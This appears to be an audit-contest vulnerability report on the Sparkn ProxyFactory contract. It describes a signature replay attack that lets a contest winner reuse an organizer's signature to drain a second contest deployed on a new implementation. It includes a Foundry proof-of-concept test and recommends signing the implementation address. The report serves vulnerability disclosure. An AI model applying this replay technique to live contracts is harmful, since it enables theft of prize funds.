Sparkn

CodeFox Inc.
DeFiFoundryProxy
15,000 USDC
View results
Submission Details
Severity: high
Valid

Replay attack on contest hosted on different implementations

Summary

The signature required for resolving contest in ProxyFactory#deployProxyAndDistributeBySignature() fails to account for implementation address. The unique contest, and therefore an unique proxy instance, is identified by salt computed using three parameters: organizer, contestId and implementation. However, the signed message only includes organizer and contestId.

This creates an unique attack vector. If a contest is hosted on two different implementations simultaneously - let's say V1 and V2 - then it is considered two separate contests with separate proxies by the protocol, as each of them will be identified by different salts. However, the signature provided by the organizer to resolve the contest on implementation V1 may be reused by the winner to claim the tokens from the contents on implementation V2 as well.

Vulnerability Details

The documentation describes the Proxy contract in the following way:

This is a proxy contract. It will be deployed by the factory contract. This contract is paired with every single contest in the protocol

Each contest, and each proxy instance, is uniquely identified by the salt, which is calculated as follows:

return keccak256(abi.encode(organizer, contestId, implementation));

Three parameters are used to calculate the unique salt - organizer, contestId and implementation.

When the contest closes, the organizer can resolve it providing the list of selected winners, along with the percentage of the pool that each player is eligible for. The organizer can either resolve the contest by himself or provide a meta-transaction. The latter can be used in ProxyFactory#deployProxyAndDistributeBySignature() method.

The problem lays within the fact that the organizer is required only to sign contestId and data, as can be seen in the code snippet below:

bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(contestId, data)));
if (ECDSA.recover(digest, signature) != organizer) revert ProxyFactory__InvalidSignature();

If there is another contest with the same organizer and ID, but with different implementation address, it will be considered a separate contest. It will have unique salt and unique proxy address. However, the signature will be valid for that contest as well.

To find out if the scenario like this is possible, let's consult the documentation:

Proxy contracts are supposed to be disposed after the contest is over. If there is a need to upgrade the protocol, we will just create a new implementation contract and deploy proxies with the new implementation contract. And so is the factory contract.

The following scenario is therefore possible:

  1. Alice creates contest, which receives the ID = 1, let's call it Contest1. She has created that providing the current implementation address, let's call it ImplementationV1.

  2. Before the contest is over, a new implementation becomes available in the protocol - let's call it ImplementationV2.

  3. Alice decides that she wants to host her Contest1 on the new implementation as well. Please note that the documentation does not exclude such a scenario, and the code itself (namely the presence of implementation's address in the salt calculation) enables it and suggests it is a valid use case.

  4. The Contest1 hosted on ImplementationV1 comes to an end. Alice decides that Bob will be the solo winner of it, and provides a meta-transaction to resolve the contest via ProxyFactory#deployProxyAndDistributeBySignature() method.

  5. Later on, the Contest1 hosted on ImplementationV2 comes to an end as well. Please note that this contest has a different Proxy address than the one hosted on ImplementationV1, therefore it has a separate pool of prizes.

  6. Much more supporters participated in the Contest1 on ImplementationV2, therefore Alice wants to divide the pool between multiple winners...

  7. ...however Bob is able to steal the pool, utilizing a replay attack vector. The signature that Alice has provided for the ImplementationV1 pool is valid for this pool, too. Therefore Bob calls ProxyFactory#deployProxyAndDistributeBySignature() method, reusing the aforementioned signature, and makes himself the only winner again.

A proof of concept for the attack is provided below. Please paste this code inside the ProxyFactoryTest.t.sol and run it with the following command: forge test --match-test testAttackerMayReuseSignatureForDifferentImplementation.

function testAttackerMayReuseSignatureForDifferentImplementation() public {
/* Contest Jason_001 gets created with the implementation v1. Let's call it Jason_001_V1 */
vm.startPrank(factoryAdmin);
bytes32 randomId = keccak256(abi.encode("Jason", "001"));
proxyFactory.setContest(TEST_SIGNER, randomId, block.timestamp + 8 days, address(distributor));
bytes32 saltV1 = keccak256(abi.encode(TEST_SIGNER, randomId, address(distributor)));
address proxyV1Address = proxyFactory.getProxyAddress(saltV1, address(distributor));
/* A day later new implementation - distributorV2 - gets added to the protocol */
vm.warp(1 days);
Distributor distributorV2 = new Distributor(address(proxyFactory), stadiumAddress);
/* Organizer decides to host Jason_001 on the new implementation as well. Let's call it Jason_001_V2 */
proxyFactory.setContest(TEST_SIGNER, randomId, block.timestamp, address(distributorV2));
bytes32 saltV2 = keccak256(abi.encode(TEST_SIGNER, randomId, address(distributorV2)));
address proxyV2Address = proxyFactory.getProxyAddress(saltV2, address(distributorV2));
vm.stopPrank();
/* Sponsor funds contests Jason_001... */
vm.startPrank(sponsor);
MockERC20(jpycv2Address).transfer(proxyV1Address, 100 ether); /* ...with 100 ether for Jason_001_V1... */
MockERC20(jpycv2Address).transfer(proxyV2Address, 10_000 ether); /* ...and 10K ether for Jason_001_V2... */
assertEq(MockERC20(jpycv2Address).balanceOf(proxyV1Address), 100 ether);
assertEq(MockERC20(jpycv2Address).balanceOf(proxyV2Address), 10_000 ether);
vm.stopPrank();
/* A week passes and User1 gets selected as a solo winner for Jason_001_V1 */
vm.warp(8.01 days);
(, bytes memory sendingData, bytes memory signature) = createSignatureByASigner(TEST_SIGNER_KEY);
proxyFactory.deployProxyAndDistributeBySignature(
TEST_SIGNER, randomId, address(distributor), signature, sendingData
);
assertEq(MockERC20(jpycv2Address).balanceOf(user1), 95 ether);
/* A next weeks passes and Jason_001_V2 is now closed too. There's when user1 begins his faul play.
Multiple supporters have entered Jason_001_V2 and the organizer wants to divide the pool between them, but user1
wants to claim the pool to himself. He can do that by simply reusing the signature provided for Jason_001_V1's resolution */
vm.startPrank(user1);
proxyFactory.deployProxyAndDistributeBySignature(
TEST_SIGNER, randomId, address(distributorV2), signature, sendingData
);
assertEq(MockERC20(jpycv2Address).balanceOf(user1), 9595 ether);
}

Impact

Impact is High, as the tokens may be stolen from the protocol by the malicious supporter.

Likelihood is Medium, as the protocol upgrades are very likely to happen in the near future, as stated by the Protocol's Team in the documentation and during the live stream.

Severity is therefore estimated as High.

Tools Used

Manual Review

Recommendations

Disallow the aforementioned scenario in the user interface and/or include the implementation address in the message digest.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.